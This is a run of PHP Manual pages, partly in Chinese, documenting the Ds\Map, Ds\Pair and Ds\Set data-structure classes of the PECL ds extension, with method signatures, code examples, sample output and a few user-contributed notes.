  • PHP Manual
  • Ds\Map
  • Returns a reversed copy

Ds\Map::reversed

(PECL ds >= 1.0.0)

Ds\Map::reversed — Returns a reversed copy

说明

public Ds\Map::reversed(): Ds\Map

Returns a reversed copy of the map.

参数

此函数没有参数。

返回值

A reversed copy of the map.

Note:

The current instance is not affected.

示例

Example #1 Ds\Map::reversed() example

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);

print_r($map->reversed());
?>

以上示例的输出类似于：

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => c
            [value] => 3
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => a
            [value] => 1
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Returns the pair at a given positional index

  • ? Ds\Map::reversed
  • Ds\Map::slice ?
  • PHP Manual
  • Ds\Map
  • Returns the pair at a given positional index

Ds\Map::skip

(PECL ds >= 1.0.0)

Ds\Map::skip — Returns the pair at a given positional index

说明

public Ds\Map::skip(int $position): Ds\Pair

Returns the pair at a given zero-based position.

参数

position

The zero-based positional index to return.

返回值

Returns the Ds\Pair at the given position.

错误／异常

OutOfRangeException if the position is not valid.

示例

Example #1 Ds\Map::skip() example

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);

var_dump($map->skip(1));
?>

以上示例的输出类似于：

object(Ds\Pair)#2 (2) {
  ["key"]=>
  string(1) "b"
  ["value"]=>
  int(2)
}

User Contributed Notes

There are no user contributed notes for this page.


Returns a subset of the map defined by a starting index and length

  • ? Ds\Map::skip
  • Ds\Map::sort ?
  • PHP Manual
  • Ds\Map
  • Returns a subset of the map defined by a starting index and length

Ds\Map::slice

(PECL ds >= 1.0.0)

Ds\Map::slice — Returns a subset of the map defined by a starting index and length

说明

public Ds\Map::slice(int $index, int $length = ?): Ds\Map

Returns a subset of the map defined by a starting index and length.

参数

index

The index at which the range starts.

If positive, the range will start at that index in the map. If negative, the range will start that far from the end.

length

If a length is given and is positive, the resulting map will have up to that many pairs in it. If a length is given and is negative, the range will stop that many pairs from the end. If the length results in an overflow, only pairs up to the end of the map will be included. If a length is not provided, the resulting map will contain all pairs between the index and the end of the map.

返回值

A subset of the map defined by a starting index and length.

示例

Example #1 Ds\Map::slice() example

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3, "d" => 4, "e" => 5]);

// Slice from 2 onwards
print_r($map->slice(2)->toArray());

// Slice from 1, for a length of 3
print_r($map->slice(1, 3)->toArray());

// Slice from 1 onwards
print_r($map->slice(1)->toArray());

// Slice from 2 from the end onwards
print_r($map->slice(-2)->toArray());

// Slice from 1 to 1 from the end
print_r($map->slice(1, -1)->toArray());
?>

以上示例的输出类似于：

Array
(
    [c] => 3
    [d] => 4
    [e] => 5
)
Array
(
    [b] => 2
    [c] => 3
    [d] => 4
)
Array
(
    [b] => 2
    [c] => 3
    [d] => 4
    [e] => 5
)
Array
(
    [d] => 4
    [e] => 5
)
Array
(
    [b] => 2
    [c] => 3
    [d] => 4
)

User Contributed Notes

There are no user contributed notes for this page.


Sorts the map in-place by value

  • ? Ds\Map::slice
  • Ds\Map::sorted ?
  • PHP Manual
  • Ds\Map
  • Sorts the map in-place by value

Ds\Map::sort

(PECL ds >= 1.0.0)

Ds\Map::sort — Sorts the map in-place by value

说明

public Ds\Map::sort(callable $comparator = ?): void

Sorts the map in-place by value, using an optional comparator function.

参数

comparator

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback(mixed $a, mixed $b): int
Caution

从比较函数中返回非整数值，例如 float，将导致内部强制转换为 callback 返回值为 int。因此，诸如 0.99 和 0.1 之类的值都将被转换为整数值 0，将这些值比较的话将会是相等。

返回值

没有返回值。

示例

Example #1 Ds\Map::sort() example

<?php
$map = new \Ds\Map(["a" => 2, "b" => 3, "c" => 1]);
$map->sort();

print_r($map);
?>

以上示例的输出类似于：

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => c
            [value] => 1
        )

    [1] => Ds\Pair Object
        (
            [key] => a
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => b
            [value] => 3
        )

)

Example #2 Ds\Map::sort() example using a comparator

<?php
$map = new \Ds\Map(["a" => 2, "b" => 3, "c" => 1]);

$map->sort(function($a, $b) {
return $b <=> $a;
});

print_r($map);
?>

以上示例的输出类似于：

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => b
            [value] => 3
        )

    [1] => Ds\Pair Object
        (
            [key] => a
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 1
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Returns a copy, sorted by value

  • ? Ds\Map::sort
  • Ds\Map::sum ?
  • PHP Manual
  • Ds\Map
  • Returns a copy, sorted by value

Ds\Map::sorted

(PECL ds >= 1.0.0)

Ds\Map::sorted — Returns a copy, sorted by value

说明

public Ds\Map::sorted(callable $comparator = ?): Ds\Map

Returns a copy, sorted by value using an optional comparator function.

参数

comparator

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback(mixed $a, mixed $b): int
Caution

从比较函数中返回非整数值，例如 float，将导致内部强制转换为 callback 返回值为 int。因此，诸如 0.99 和 0.1 之类的值都将被转换为整数值 0，将这些值比较的话将会是相等。

返回值

Returns a copy of the map, sorted by value.

示例

Example #1 Ds\Map::sort() example

<?php
$map = new \Ds\Map(["a" => 2, "b" => 3, "c" => 1]);

print_r($map->sorted());
?>

以上示例的输出类似于：

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => c
            [value] => 1
        )

    [1] => Ds\Pair Object
        (
            [key] => a
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => b
            [value] => 3
        )

)

Example #2 Ds\Map::sort() example using a comparator

<?php
$map = new \Ds\Map(["a" => 2, "b" => 3, "c" => 1]);

// Reverse
$sorted = $map->sorted(function($a, $b) {
return $b <=> $a;
});

print_r($sorted);
?>

以上示例的输出类似于：

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => b
            [value] => 3
        )

    [1] => Ds\Pair Object
        (
            [key] => a
            [value] => 2
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 1
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Returns the sum of all values in the map

  • ? Ds\Map::sorted
  • Ds\Map::toArray ?
  • PHP Manual
  • Ds\Map
  • Returns the sum of all values in the map

Ds\Map::sum

(No version information available, might only be in Git)

Ds\Map::sum — Returns the sum of all values in the map

说明

public Ds\Map::sum(): int|float

Returns the sum of all values in the map.

Note:

Arrays and objects are considered equal to zero when calculating the sum.

参数

此函数没有参数。

返回值

The sum of all the values in the map as either a float or int depending on the values in the map.

示例

Example #1 Ds\Map::sum() integer example

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);
var_dump($map->sum());
?>

以上示例的输出类似于：

int(6)

Example #2 Ds\Map::sum() float example

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2.5, "c" => 3]);
var_dump($map->sum());
?>

以上示例的输出类似于：

float(6.5)

User Contributed Notes

There are no user contributed notes for this page.


Converts the map to an array

  • ? Ds\Map::sum
  • Ds\Map::union ?
  • PHP Manual
  • Ds\Map
  • Converts the map to an array

Ds\Map::toArray

(PECL ds >= 1.0.0)

Ds\Map::toArray — Converts the map to an array

说明

public Ds\Map::toArray(): array

Converts the map to an array.

Caution

Maps where non-scalar keys are can't be converted to an array.

Caution

An array will treat all numeric keys as integers, eg. "1" and 1 as keys in the map will only result in 1 being included in the array.

Note:

Casting to an array is not supported yet.

参数

此函数没有参数。

返回值

An array containing all the values in the same order as the map.

示例

Example #1 Ds\Map::toArray() example

<?php
$map = new \Ds\Map([
"a" => 1,
"b" => 2,
"c" => 3,
]);

var_dump($map->toArray());
?>

以上示例的输出类似于：

array(3) {
  ["a"]=>
  int(1)
  ["b"]=>
  int(2)
  ["c"]=>
  int(3)
}

User Contributed Notes

foalford at gmail dot com 07-Jul-2020 06:57
When using Hashable object as $key, Map::put() will not call the Hashable::hash() on the key until later. For example

<?
class Key implements \Ds\Hashable
{
    protected $id;

    public function __construct($id)
    {
        $this->id = $id;
    }

    public function equals($obj) : bool
    {
        return $this->id == $obj->id;
    }

    public function hash()
    {
        return $this->id;
    }
}
$map = new \Ds\Map();
$myki = new Key('myki');

$map->put($myki, "Value String");

var_dump($map->get($myki));
echo 'Map::put() store the Hashable object and it cause error in toArray()'. PHP_EOL;
var_dump($map->toArray());
?>


Creates a new map using values from the current instance and another map

  • ? Ds\Map::toArray
  • Ds\Map::values ?
  • PHP Manual
  • Ds\Map
  • Creates a new map using values from the current instance and another map

Ds\Map::union

(PECL ds >= 1.0.0)

Ds\Map::union — Creates a new map using values from the current instance and another map

说明

public Ds\Map::union(Ds\Map $map): Ds\Map

Creates a new map that contains the pairs of the current instance as well as the pairs of another map.

A ∪ B = {x: x ∈ A ∨ x ∈ B}

Note:

Values of the current instance will be overwritten by those provided where keys are equal.

参数

map

The other map, to combine with the current instance.

返回值

A new map containing all the pairs of the current instance as well as another map.

参见

  • » Union on Wikipedia

示例

Example #1 Ds\Map::union() example

<?php
$a = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);
$b = new \Ds\Map(["b" => 3, "c" => 4, "d" => 5]);

print_r($a->union($b));
?>

以上示例的输出类似于：

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => a
            [value] => 1
        )

    [1] => Ds\Pair Object
        (
            [key] => b
            [value] => 3
        )

    [2] => Ds\Pair Object
        (
            [key] => c
            [value] => 4
        )

    [3] => Ds\Pair Object
        (
            [key] => d
            [value] => 5
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Returns a sequence of the map's values

  • ? Ds\Map::union
  • Ds\Map::xor ?
  • PHP Manual
  • Ds\Map
  • Returns a sequence of the map's values

Ds\Map::values

(PECL ds >= 1.0.0)

Ds\Map::values — Returns a sequence of the map's values

说明

public Ds\Map::values(): Ds\Sequence

Returns a sequence containing all the values of the map, in the same order.

参数

此函数没有参数。

返回值

A Ds\Sequence containing all the values of the map.

示例

Example #1 Ds\Map::values() example

<?php
$map = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);
var_dump($map->values());
?>

以上示例的输出类似于：

object(Ds\Vector)#2 (3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Creates a new map using keys of either the current instance or of another map, but not of both

  • ? Ds\Map::values
  • Ds\Pair ?
  • PHP Manual
  • Ds\Map
  • Creates a new map using keys of either the current instance or of another map, but not of both

Ds\Map::xor

(PECL ds >= 1.0.0)

Ds\Map::xor — Creates a new map using keys of either the current instance or of another map, but not of both

说明

public Ds\Map::xor(Ds\Map $map): Ds\Map

Creates a new map containing keys of the current instance as well as another map, but not of both.

A ? B = {x : x ∈ (A \ B) ∪ (B \ A)}

参数

map

The other map.

返回值

A new map containing keys in the current instance as well as another map, but not in both.

参见

  • » Symmetric Difference on Wikipedia

示例

Example #1 Ds\Map::xor() example

<?php
$a = new \Ds\Map(["a" => 1, "b" => 2, "c" => 3]);
$b = new \Ds\Map(["b" => 4, "c" => 5, "d" => 6]);

print_r($a->xor($b));
?>

以上示例的输出类似于：

Ds\Map Object
(
    [0] => Ds\Pair Object
        (
            [key] => a
            [value] => 1
        )

    [1] => Ds\Pair Object
        (
            [key] => d
            [value] => 6
        )

)

User Contributed Notes

There are no user contributed notes for this page.


The Pair class

(PECL ds >= 1.0.0)

简介

A pair is used by Ds\Map to pair keys with values.

类摘要

class Ds\Pair implements JsonSerializable {
/* 方法 */
public __construct(mixed $key = ?, mixed $value = ?)
public clear(): void
public copy(): Ds\Pair
public isEmpty(): bool
public toArray(): array
}

Table of Contents

  • Ds\Pair::clear — Removes all values
  • Ds\Pair::__construct — Creates a new instance
  • Ds\Pair::copy — Returns a shallow copy of the pair
  • Ds\Pair::isEmpty — Returns whether the pair is empty
  • Ds\Pair::jsonSerialize — Returns a representation that can be converted to JSON
  • Ds\Pair::toArray — Converts the pair to an array

User Contributed Notes

There are no user contributed notes for this page.


Removes all values

  • ? Ds\Pair
  • Ds\Pair::__construct ?
  • PHP Manual
  • Ds\Pair
  • Removes all values

Ds\Pair::clear

(No version information available, might only be in Git)

Ds\Pair::clear — Removes all values

说明

public Ds\Pair::clear(): void

Removes all values from the pair.

参数

此函数没有参数。

返回值

没有返回值。

示例

Example #1 Ds\Pair::clear() example

<?php
$pair = new \Ds\Pair("a", 1);
print_r($pair);

$pair->clear();
print_r($pair);
?>

以上示例的输出类似于：

Ds\Pair Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Ds\Pair Object
(
)

User Contributed Notes

There are no user contributed notes for this page.


Creates a new instance

  • ? Ds\Pair::clear
  • Ds\Pair::copy ?
  • PHP Manual
  • Ds\Pair
  • Creates a new instance

Ds\Pair::__construct

(PECL ds >= 1.0.0)

Ds\Pair::__construct — Creates a new instance

说明

public Ds\Pair::__construct(mixed $key = ?, mixed $value = ?)

Creates a new instance using a given key and value.

参数

key

The key.

value

The value.

User Contributed Notes

There are no user contributed notes for this page.


Returns a shallow copy of the pair

  • ? Ds\Pair::__construct
  • Ds\Pair::isEmpty ?
  • PHP Manual
  • Ds\Pair
  • Returns a shallow copy of the pair

Ds\Pair::copy

(No version information available, might only be in Git)

Ds\Pair::copy — Returns a shallow copy of the pair

说明

public Ds\Pair::copy(): Ds\Pair

Returns a shallow copy of the pair.

参数

此函数没有参数。

返回值

Returns a shallow copy of the pair.

示例

Example #1 Ds\Pair::copy() example

<?php
$a = new \Ds\Pair("a", 1);
$b = $a->copy();

$a->key = "x";

print_r($a);
print_r($b);
?>

以上示例的输出类似于：

Ds\Pair Object
(
    [key] => x
    [value] => 1
)
Ds\Pair Object
(
    [key] => a
    [value] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Returns whether the pair is empty

  • ? Ds\Pair::copy
  • Ds\Pair::jsonSerialize ?
  • PHP Manual
  • Ds\Pair
  • Returns whether the pair is empty

Ds\Pair::isEmpty

(No version information available, might only be in Git)

Ds\Pair::isEmpty — Returns whether the pair is empty

说明

public Ds\Pair::isEmpty(): bool

Returns whether the pair is empty.

参数

此函数没有参数。

返回值

Returns true if the pair is empty, false otherwise.

示例

Example #1 Ds\Pair::isEmpty() example

<?php
$a = new \Ds\Pair("a", 1);
$b = new \Ds\Pair();

var_dump($a->isEmpty());
var_dump($b->isEmpty());
?>

以上示例的输出类似于：

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ? Ds\Pair::isEmpty
  • Ds\Pair::toArray ?
  • PHP Manual
  • Ds\Pair
  • Returns a representation that can be converted to JSON

Ds\Pair::jsonSerialize

(PECL ds >= 1.0.0)

Ds\Pair::jsonSerialize — Returns a representation that can be converted to JSON

See JsonSerializable::jsonSerialize()

Note:

You should never need to call this directly.

User Contributed Notes

There are no user contributed notes for this page.


Converts the pair to an array

  • ? Ds\Pair::jsonSerialize
  • Ds\Set ?
  • PHP Manual
  • Ds\Pair
  • Converts the pair to an array

Ds\Pair::toArray

(PECL ds >= 1.0.0)

Ds\Pair::toArray — Converts the pair to an array

说明

public Ds\Pair::toArray(): array

Converts the pair to an array.

Note:

Casting to an array is not supported yet.

参数

此函数没有参数。

返回值

An array containing all the values in the same order as the pair.

示例

Example #1 Ds\Pair::toArray() example

<?php
$pair = new \Ds\Pair("a", 1);

var_dump($pair->toArray());
?>

以上示例的输出类似于：

array(2) {
  ["key"]=>
  string(1) "a"
  ["value"]=>
  int(1)
}

User Contributed Notes

There are no user contributed notes for this page.


The Set class

(PECL ds >= 1.0.0)

简介

A Set is a sequence of unique values. This implementation uses the same hash table as Ds\Map, where values are used as keys and the mapped value is ignored.

Strengths

  • Values can be any type, including objects.
  • Supports array syntax (square brackets).
  • Insertion order is preserved.
  • Automatically frees allocated memory when its size drops low enough.
  • add(),
remove() and
contains() are all O(1).

Weaknesses

  • Doesn't support
                push(),
                pop(),
                insert(),
                shift(), or
                unshift().
  • get() is O(n) if there are deleted values in the buffer before the accessed index, O(1) otherwise.

类摘要

class Ds\Set implements Ds\Collection, ArrayAccess {
/* 常量 */
const int MIN_CAPACITY = 16;
/* 方法 */
public add(mixed ...$values): void
public allocate(int $capacity): void
public capacity(): int
public clear(): void
public contains(mixed ...$values): bool
public copy(): Ds\Set
public diff(Ds\Set $set): Ds\Set
public filter(callable $callback = ?): Ds\Set
public first(): mixed
public get(int $index): mixed
public intersect(Ds\Set $set): Ds\Set
public isEmpty(): bool
public join(string $glue = ?): string
public last(): mixed
public merge(mixed $values): Ds\Set
public reduce(callable $callback, mixed $initial = ?): mixed
public remove(mixed ...$values): void
public reverse(): void
public reversed(): Ds\Set
public slice(int $index, int $length = ?): Ds\Set
public sort(callable $comparator = ?): void
public sorted(callable $comparator = ?): Ds\Set
public sum(): int|float
public toArray(): array
public union(Ds\Set $set): Ds\Set
public xor(Ds\Set $set): Ds\Set
}

预定义常量

Ds\Set::MIN_CAPACITY

更新日志

版本 | 说明
PECL ds 1.3.0 | The class now implements ArrayAccess.

Table of Contents

  • Ds\Set::add — Adds values to the set
  • Ds\Set::allocate — Allocates enough memory for a required capacity
  • Ds\Set::capacity — Returns the current capacity
  • Ds\Set::clear — Removes all values
  • Ds\Set::__construct — Creates a new instance
  • Ds\Set::contains — Determines if the set contains all values
  • Ds\Set::copy — Returns a shallow copy of the set
  • Ds\Set::count — Returns the number of values in the set
  • Ds\Set::diff — Creates a new set using values that aren't in another set
  • Ds\Set::filter — Creates a new set using a callable to determine which values to include
  • Ds\Set::first — Returns the first value in the set
  • Ds\Set::get — Returns the value at a given index
  • Ds\Set::intersect — Creates a new set by intersecting values with another set
  • Ds\Set::isEmpty — Returns whether the set is empty
  • Ds\Set::join — Joins all values together as a string
  • Ds\Set::jsonSerialize — Returns a representation that can be converted to JSON
  • Ds\Set::last — Returns the last value in the set
  • Ds\Set::merge — Returns the result of adding all given values to the set
  • Ds\Set::reduce — Reduces the set to a single value using a callback function
  • Ds\Set::remove — Removes all given values from the set
  • Ds\Set::reverse — Reverses the set in-place
  • Ds\Set::reversed — Returns a reversed copy
  • Ds\Set::slice — Returns a sub-set of a given range
  • Ds\Set::sort — Sorts the set in-place
  • Ds\Set::sorted — Returns a sorted copy
  • Ds\Set::sum — Returns the sum of all values in the set
  • Ds\Set::toArray — Converts the set to an array
  • Ds\Set::union — Creates a new set using values from the current instance and another set
  • Ds\Set::xor — Creates a new set using values in either the current instance or in another set, but not in both

User Contributed Notes

Sbastien 24-May-2022 10:08
One nice thing is the type-awarness. array_unique() lose values (whatever flag), while Ds\Set keep them.

<?php

$array = [true, false, null, '', 0, '0', 123, '123'];
var_dump(array_unique($array));
var_dump(new \Ds\Set($array));

/*

Gives :

array(4) {
  [0]=> bool(true)
  [1]=> bool(false)
  [4]=> int(0)
  [6]=> int(123)
}
object(Ds\Set)#1 (8) {
  [0]=> bool(true)
  [1]=> bool(false)
  [2]=> NULL
  [3]=> string(0) ""
  [4]=> int(0)
  [5]=> string(1) "0"
  [6]=> int(123)
  [7]=> string(3) "123"
}

*/
rtheunissen at php dot net 04-Jul-2018 03:08
Lookups by value are O(1), lookups by index are O(n) if there are deleted values before the index, O(1) otherwise.
Anonymous 01-Feb-2018 01:49
Lookup for a Set should be O(1). This is true for sets and hashtables (eg maps) in any language.

The way this is possible is that sets store values differently than arrays.

In an array values are stored sequentially based on what their place is in the array and where that array is in memory, so to find your item you need to scan through the array sequentially to find your item (unless it's a sorted array, then you can use binary search at O(logn)).

Sets declare a block of memory, like an array, but instead of putting items in memory in sequence, like an array, they determine the index of the item to add by running the item through a hash function (essentially a function that takes in an object and returns an evenly distributed, very large random number), and then modulousing the result of that hash function by the size of the memory block they have.

So, when you call contains($needle, $mySetHaystack), php will take $needle, and feed it into a hashfunction, which will return a big number like 9283472378, then it takes the length of $mySetHaystack (let's say 31), and does 9283472378 % 31 = 28, so it checks the 28th index of $mySetHaystack to see if $needle is there. Everything in this list of operations is independent of the size of $mySetHaystack, hence the perf being O(1).

If a hash function returns the same value for two different items (a hash collision, which totally happens), or if the modulo of that value is the same, then an array of values is stored in the set at that index. Since sets don't allow duplicate values, this happens rarely and is negligible from a perf perspective.

You should check out the wikipedia page on hash tables (similar to sets), as there are lots of pictures that will make this concept easier to understand.
vdavila dot sm at gmail dot com 15-Oct-2017 02:07
I have a question is contains() a O(1)? and why?


Adds values to the set

  • ? Ds\Set
  • Ds\Set::allocate ?
  • PHP Manual
  • Ds\Set
  • Adds values to the set

Ds\Set::add

(PECL ds >= 1.0.0)

Ds\Set::add — Adds values to the set

说明

public Ds\Set::add(mixed ...$values): void

Adds all given values to the set that haven't already been added.

Note:

Values of type object are supported. If an object implements Ds\Hashable, equality will be determined by the object's equals function. If an object does not implement Ds\Hashable, objects must be references to the same instance to be considered equal.

Caution

All comparisons are strict (type and value).

参数

values

Values to add to the set.

返回值

没有返回值。

示例

Example #1 Ds\Set::add() example using integers

<?php
$set = new \Ds\Set();

$set->add(1);
$set->add(1);
$set->add(2);
$set->add(3);

// Strict comparison would not treat these the same as int(1)
$set->add("1");
$set->add(true);

var_dump($set);
?>

以上示例的输出类似于：

object(Ds\Set)#1 (5) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
  [3]=>
  string(1) "1"
  [4]=>
  bool(true)
}

Example #2 Ds\Set::add() example using objects

<?php
class HashableObject implements \Ds\Hashable
{
/**
* An arbitrary value to use as the hash value. Does not define equality.
*/
private $value;

public function __construct($value)
{
$this->value = $value;
}

public function hash()
{
return $this->value;
}

public function equals($obj): bool
{
return $this->value === $obj->value;
}
}

$set = new \Ds\Set();

$obj = new \ArrayIterator([]);

// Adding the same instance multiple times will only add the first.
$set->add($obj);
$set->add($obj);

// Adding multiple instances of the same object will add them all.
$set->add(new \stdClass());
$set->add(new \stdClass());

// Adding multiple instances of equal hashable objects will only add the first.
$set->add(new \HashableObject(1));
$set->add(new \HashableObject(1));
$set->add(new \HashableObject(2));
$set->add(new \HashableObject(2));

var_dump($set);
?>

以上示例的输出类似于：

object(Ds\Set)#1 (5) {
  [0]=>
  object(ArrayIterator)#2 (1) {
    ["storage":"ArrayIterator":private]=>
    array(0) {
    }
  }
  [1]=>
  object(stdClass)#3 (0) {
  }
  [2]=>
  object(stdClass)#4 (0) {
  }
  [3]=>
  object(HashableObject)#5 (1) {
    ["value":"HashableObject":private]=>
    int(1)
  }
  [4]=>
  object(HashableObject)#6 (1) {
    ["value":"HashableObject":private]=>
    int(2)
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Allocates enough memory for a required capacity

  • ? Ds\Set::add
  • Ds\Set::capacity ?
  • PHP Manual
  • Ds\Set
  • Allocates enough memory for a required capacity

Ds\Set::allocate

(PECL ds >= 1.0.0)

Ds\Set::allocate — Allocates enough memory for a required capacity

说明

public Ds\Set::allocate(int $capacity): void

Allocates enough memory for a required capacity.

参数

capacity

The number of values for which capacity should be allocated.

Note:

Capacity will stay the same if this value is less than or equal to the current capacity.

Note:

Capacity will always be rounded up to the nearest power of 2.

返回值

没有返回值。

示例

Example #1 Ds\Set::allocate() example

<?php
$set = new \Ds\Set();
var_dump($set->capacity());

$set->allocate(100);
var_dump($set->capacity());
?>

以上示例的输出类似于：

int(16)
int(128)

User Contributed Notes

There are no user contributed notes for this page.


Returns the current capacity

  • ? Ds\Set::allocate
  • Ds\Set::clear ?
  • PHP Manual
  • Ds\Set
  • Returns the current capacity

Ds\Set::capacity

(PECL ds >= 1.0.0)

Ds\Set::capacity — Returns the current capacity

说明

public Ds\Set::capacity(): int

Returns the current capacity.

参数

此函数没有参数。

返回值

The current capacity.

示例

Example #1 Ds\Set::capacity() example

<?php
$set = new \Ds\Set();
var_dump($set->capacity());

$set->add(...range(1, 50));
var_dump($set->capacity());
?>

以上示例的输出类似于：

int(16)
int(64)

User Contributed Notes

There are no user contributed notes for this page.


Removes all values

  • ? Ds\Set::capacity
  • Ds\Set::__construct ?
  • PHP Manual
  • Ds\Set
  • Removes all values

Ds\Set::clear

(PECL ds >= 1.0.0)

Ds\Set::clear — Removes all values

说明

public Ds\Set::clear(): void

Removes all values from the set.

参数

此函数没有参数。

返回值

没有返回值。

示例

Example #1 Ds\Set::clear() example

<?php
$set = new \Ds\Set([1, 2, 3]);
print_r($set);

$set->clear();
print_r($set);
?>

以上示例的输出类似于：

Ds\Set Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Ds\Set Object
(
)

User Contributed Notes

There are no user contributed notes for this page.


Creates a new instance

  • ? Ds\Set::clear
  • Ds\Set::contains ?
  • PHP Manual
  • Ds\Set
  • Creates a new instance

Ds\Set::__construct

(PECL ds >= 1.0.0)

Ds\Set::__construct — Creates a new instance

说明

public Ds\Set::__construct(mixed $values = [])

Creates a new instance, using either a traversable object or an array for the initial values.

参数

values

A traversable object or an array to use for the initial values.

示例

Example #1 Ds\Set::__construct() example

<?php
$set = new \Ds\Set();
var_dump($set);

$set = new \Ds\Set([1, 2, 3]);
var_dump($set);
?>

以上示例的输出类似于：

object(Ds\Set)#1 (0) {
}
object(Ds\Set)#2 (3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Determines if the set contains all values

  • ? Ds\Set::__construct
  • Ds\Set::copy ?
  • PHP Manual
  • Ds\Set
  • Determines if the set contains all values

Ds\Set::contains

(PECL ds >= 1.0.0)

Ds\Set::contains — Determines if the set contains all values

说明

public Ds\Set::contains(mixed ...$values): bool

Determines if the set contains all values.

Note:

Values of type object are supported. If an object implements Ds\Hashable, equality will be determined by the object's equals function. If an object does not implement Ds\Hashable, objects must be references to the same instance to be considered equal.

Caution

All comparisons are strict (type and value).

参数

values

Values to check.

返回值

false if any of the provided values are not in the set, true otherwise.

示例

Example #1 Ds\Set::contains() example

<?php
$set = new \Ds\Set([1, 2, 3]);

var_dump($set->contains(1)); // true
var_dump($set->contains(1, 2)); // true
var_dump($set->contains(...[1, 2])); // true

var_dump($set->contains("1")); // false
var_dump($set->contains(...[1, 2, 3, 4])); // false

var_dump($set->contains(...[])); // true
?>

以上示例的输出类似于：

bool(true)
bool(true)
bool(true)
bool(false)
bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Returns a shallow copy of the set

  • ? Ds\Set::contains
  • Ds\Set::count ?
  • PHP Manual
  • Ds\Set
  • Returns a shallow copy of the set

Ds\Set::copy

(PECL ds >= 1.0.0)

Ds\Set::copy — Returns a shallow copy of the set

说明

public Ds\Set::copy(): Ds\Set

Returns a shallow copy of the set.

参数

此函数没有参数。

返回值

Returns a shallow copy of the set.

示例

Example #1 Ds\Set::copy() example

<?php
$a = new \Ds\Set([1, 2, 3]);
$b = $a->copy();

// Updating the copy doesn't affect the original
$b->add(4);

print_r($a);
print_r($b);
?>

以上示例的输出类似于：

Ds\Set Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Ds\Set Object
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
)

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of values in the set

  • ? Ds\Set::copy
  • Ds\Set::diff ?
  • PHP Manual
  • Ds\Set
  • Returns the number of values in the set

Ds\Set::count

(PECL ds >= 1.0.0)

Ds\Set::count — Returns the number of values in the set

See Countable::count()

User Contributed Notes

There are no user contributed notes for this page.


Creates a new set using values that aren't in another set

  • ? Ds\Set::count
  • Ds\Set::filter ?
  • PHP Manual
  • Ds\Set
  • Creates a new set using values that aren't in another set

Ds\Set::diff

(PECL ds >= 1.0.0)

Ds\Set::diff — Creates a new set using values that aren't in another set

说明

public Ds\Set::diff(Ds\Set $set): Ds\Set

Creates a new set using values that aren't in another set.

A \ B = {x ∈ A | x ? B}

参数

set

Set containing the values to exclude.

返回值

A new set containing all values that were not in the other set.

参见

  • » Complement on Wikipedia

示例

Example #1 Ds\Set::diff() example

<?php
$a = new \Ds\Set([1, 2, 3]);
$b = new \Ds\Set([3, 4, 5]);

var_dump($a->diff($b));
?>

以上示例的输出类似于：

object(Ds\Set)#3 (2) {
  [0]=>
  int(1)
  [1]=>
  int(2)
}

User Contributed Notes

There are no user contributed notes for this page.


Creates a new set using a callable to determine which values to include

  • ? Ds\Set::diff
  • Ds\Set::first ?
  • PHP Manual
  • Ds\Set
  • Creates a new set using a callable to determine which values to include

Ds\Set::filter

(PECL ds >= 1.0.0)

Ds\Set::filter — Creates a new set using a callable to determine which values to include

说明

public Ds\Set::filter(callable $callback = ?): Ds\Set

Creates a new set using a callable to determine which values to include.

参数

callback

callback(mixed $value): bool

Optional callable which returns true if the value should be included, false otherwise.

If a callback is not provided, only values which are true (see converting to boolean) will be included.

返回值

A new set containing all the values for which either the callback returned true, or all values that convert to true if a callback was not provided.

示例

Example #1 Ds\Set::filter() example using callback function

<?php
$set = new \Ds\Set([1, 2, 3, 4, 5]);

var_dump($set->filter(function($value) {
return $value % 2 == 0;
}));
?>

以上示例的输出类似于：

object(Ds\Set)#3 (2) {
  [0]=>
  int(2)
  [1]=>
  int(4)
}

Example #2 Ds\Set::filter() example without a callback function

<?php
$set = new \Ds\Set([0, 1, 'a', true, false]);

var_dump($set->filter());
?>

以上示例的输出类似于：

object(Ds\Set)#2 (3) {
  [0]=>
  int(1)
  [1]=>
  string(1) "a"
  [2]=>
  bool(true)
}

User Contributed Notes

There are no user contributed notes for this page.


Returns the first value in the set

  • ? Ds\Set::filter
  • Ds\Set::get ?
  • PHP Manual
